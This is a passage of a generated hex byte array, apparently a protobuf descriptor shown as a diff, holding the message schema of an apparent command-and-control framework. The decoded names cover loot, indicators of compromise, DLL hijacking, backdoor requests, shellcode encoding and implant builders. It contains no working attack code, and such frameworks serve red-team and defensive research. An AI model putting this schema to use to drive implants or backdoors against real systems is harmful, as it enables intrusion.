0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, + 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, + 0x73, 0x22, 0xbd, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, + 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, + 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, + 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, + 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, + 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, + 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, + 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, + 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, + 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, + 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, + 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, + 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, + 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, + 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, + 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, + 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xef, 0x02, 0x0a, 0x04, + 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, + 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, + 0x43, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, + 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, + 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, + 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, + 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, + 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, + 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, + 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, + 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, + 0x87, 0x02, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, + 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, + 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, + 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, + 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x8c, 0x01, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, + 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, + 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, + 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, + 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, + 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, + 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, + 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, + 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x7c, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, + 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, + 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, + 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, + 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, + 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, + 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, + 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, + 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, + 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, + 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, + 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, + 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x41, 0x0a, 0x0d, + 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x30, 0x0a, + 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x22, + 0x22, 0x0a, 0x0c, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x22, 0x63, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 